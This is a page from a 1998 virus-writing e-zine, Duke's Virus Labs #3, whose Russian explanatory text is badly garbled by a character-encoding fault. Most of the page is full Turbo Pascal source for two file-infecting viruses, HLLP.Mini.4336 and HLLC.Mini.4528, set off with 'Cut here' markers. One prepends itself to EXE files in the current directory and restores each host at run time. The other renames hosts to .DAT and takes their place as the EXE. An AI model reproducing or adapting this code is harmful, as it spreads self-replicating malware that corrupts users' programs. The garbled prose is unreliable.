- [Duke's Virus Labs #3] - [Page 11] -

饭 HLLC  HLLP ᮢ
(c) by Duke/SMF

   ⮬  饭   㬥襭 ࠧ
⪮஢     ⬠.
      । ᤥ?
   ।,     HLLP-, ࠦ騩 EXE-䠩 ⥪饣
⠫  騩 ஢  ୮ ࠦ.
   ࠧ᪮ ,  । ࠢ ࠦ 䠩,
室 ᭠砫 ⠭   ࢮ .  ⮣
HLLP- :
   1)   砫 䠩, ᮤঠ饥 ,  ᨢ A;
   2)    ᨢ B ࠭ 砫  (  䠩);
   3)  ᥪ 墮;
   4)  뢠 ᨢ B  砫 䠩  .
᫥ ⮣     饭   :
   5')  砫  B;
   6') 뢠 B  ;
   7') 뢠 A  砫.
᪨ ਬ஬  HLLP-  
HLLP.Insertion (.  dvl3-13.txt).
    㦭   ?      ? ⨬
  ,   ࠦ 䠩 (ࢨ筮)  ⮦ 믮
⢨ 5',6',7'.   ⠫  ᫨  ⨬樨.  ⮣
  ࠡ  ᫥饩 奬:
       ......
       - 믮 㭪 1-4;
       -  ;
       - 맢 楤 ࠦ 䠩 ⠫;
       ......
    ࠡ⠥ ⠪ ? 饭 䠩   ᪠. 
 頥 ࠢ,    ࠦ 䠩. 㦨 䠩,
 ⮫쪮   饭,  ࠧ  , .. ⠭
Status Quo :)

    HLLC- २뢠   DAT-䠩,  ᠬ 뢠
   EXE-䠩.  ⮣  ࠢ  :
       ......
       - ⠥   ;
       - 㤠 EXE (.. ᥡ ᠬ);
       - २뢠 DAT  EXE;
       - ᪠ EXE;
       - 뢠 ࠦ;
       ......
    ਢ ਬ ᮢ, 騥 ᠭ .


     : HLLP.Mini.4336
         : Duke/SMF
 ᮧ : 14.12.98

===== Cut here =====
{$I-,S-}
{$M 5000, 0, 5000}
program Mini_HLLP;
uses dos;
const Len=4336;                    { ணࠬ}
var a,b:file;                      {""-室, ""-}
    n:searchrec;
    w,v:array[1..Len] of byte;     {V-, W-ᯮ⥫}
{--------------------------------------------------------------------------}
procedure Execute;                 {  祭 䠩}
var par:string;
    i:byte;
    f:integer;
    s:string;                      {饭 䠩}
begin
s:=paramstr(0);
assign(a,s);reset(a,1);
BlockRead(a,v,Len);                {⠫   }
f:=filesize(a);
if f<=Len then Exit;               {᫨   ⮬  -  室}
{頥 ⢥ "" ࢮ砫 :}
seek(a,f-Len);                     {⥫ ⠢  砫 save-"".}
BlockRead(a,w,Len);                {Save-"A" ⠭  ᨢ W.}
seek(a,0);                         {⥫ ⠢  砫 "".}
BlockWrite(a,w,Len);               {ᨢ W ᠭ  砫 "".}
seek(a,f-Len);                     {⥫ ⠢  砫 save-"".}
truncate(a);                       {뢠 save- "".}
close(a);                          {뢠 ""}
for i:=1 to paramcount do          {࠭塞 ࠬ}
  par:=par+paramstr(i)+' ';
exec(s,par);                       {᪠ ""}
end;
{--------------------------------------------------------------------------}
procedure Infect;                  {楤 ࠦ 䠩}
begin
{assign(b,st);reset(b,1);}         { "B" 㦥   ஢થ}
setfattr(b,$20);
{࠭ 砫 "" :}
seek(b,0);                         {⥫ ⠢  砫 "".}
BlockRead(b,w,Len);                {砫 "" ⠭  ᨢ W.}
seek(b,filesize(b));               {⥫ ⠢   "".}
BlockWrite(b,w,Len);               {ᨢ W ᠭ   "".}
{  砫 "" :}
seek(b,0);                         {⥫ ⠢  砫 "".}
BlockWrite(b,v,Len);               {襬 V  砫 "".}
close(b);                          {뢠 "".}
end;
{--------------------------------------------------------------------------}
procedure check(st:string);        {஢ઠ  ࠦ}
var c,d:byte;
begin
assign(b,st);reset(b,1);
seek(b,filesize(b)-len);
blockread(b,c,1);blockread(b,d,1);
if (c<>ord('M')) or (d<>ord('Z')) then Infect else close(b);
end;
{-------------------------------------------------------------------------}
begin
asm
  jmp @lab
  db 'MiniHLLP (c) by Duke/SMF'
@lab:
end;
Execute;                           { }
findfirst('*.exe',$21,n);          { 室饣 䠩:}
while doserror=0 do
  begin
  if n.size>Len then check(n.name);{᫨  >  }
  findnext(n);
  end;
end.
===== Cut here =====

     : HLLC.Mini.4528
         : Duke/SMF
 ᮧ : 14.12.98

===== Cut here =====
{$I-,S-}
{$M 5000, 0, 5000}
uses dos;
const Len=4528;                    { }
      d='.DAT';
var b,g:file;
    ds:dirstr;
    ns:namestr;
    es:extstr;
    n:searchrec;
    st:string;
    i:integer;
    v:array[1..Len] of byte;       {⥫ }
{--------------------------------------------------------------------------}
procedure Execute;                 {  祭 䠩}
var par:string;                    {ࠬ ᪠}
    s:string;                      {饭 䠩}
begin
s:=paramstr(0);
assign(b,s);reset(b,1);
blockread(b,v,Len);                {⠥   }
close(b);
fsplit(s,ds,ns,es);
st:=ds+ns+d;
assign(g,st);
{$I-}reset(g);{$I+}
if ioresult=0 then                 {᫨  ࠦ 䠩...}
  begin
  erase(b);                        {...㤠塞 }
  close(g);
  rename(g,s);                     {...२뢠   EXE}
  par:='';                         {...࠭塞 ࠬ}
  for i:=1 to paramcount do par:=par+' '+paramstr(i);
  exec(s,par);                     {... ᪠ }
  end;
end;
{--------------------------------------------------------------------------}
procedure Infect(n:string);        {楤 ࠦ 䠩}
var ch:byte;
begin
fsplit(n,ds,ns,es);
st:=ds+ns+d;
assign(g,st);
{$I-}reset(g,1);{$I+}              {஢塞,   㦥 䠩}
                                   { ७ DAT}
if ioresult<>0 then                {᫨  =>   ࠦ...}
  begin
  assign(b,n);
  setfattr(b,$20);
  rename(b,st);                    {... २뢠 }
  assign(b,n);
  rewrite(b,1);                    {... ᮧ 쮭}
  blockwrite(b,v,Len);             {... 襬 }
  for i:=1 to random(500) do       {... 襬 }
    begin
    ch:=random(250);
    blockwrite(b,ch,1);
    end;
  close(b);                        {ࠦ 襭}
  end
else close(g);
end;
{-------------------------------------------------------------------------}
begin
asm
  jmp @lab
  db 'MiniHLLC (c) by Duke/SMF'
@lab:
end;
Execute;                           { }
findfirst('*.exe',$21,n);          { 室饣 䠩}
while doserror=0 do
  begin
  Infect(n.name);                  {맮 ࠦ}
  findnext(n);
  end;
end.
===== Cut here =====
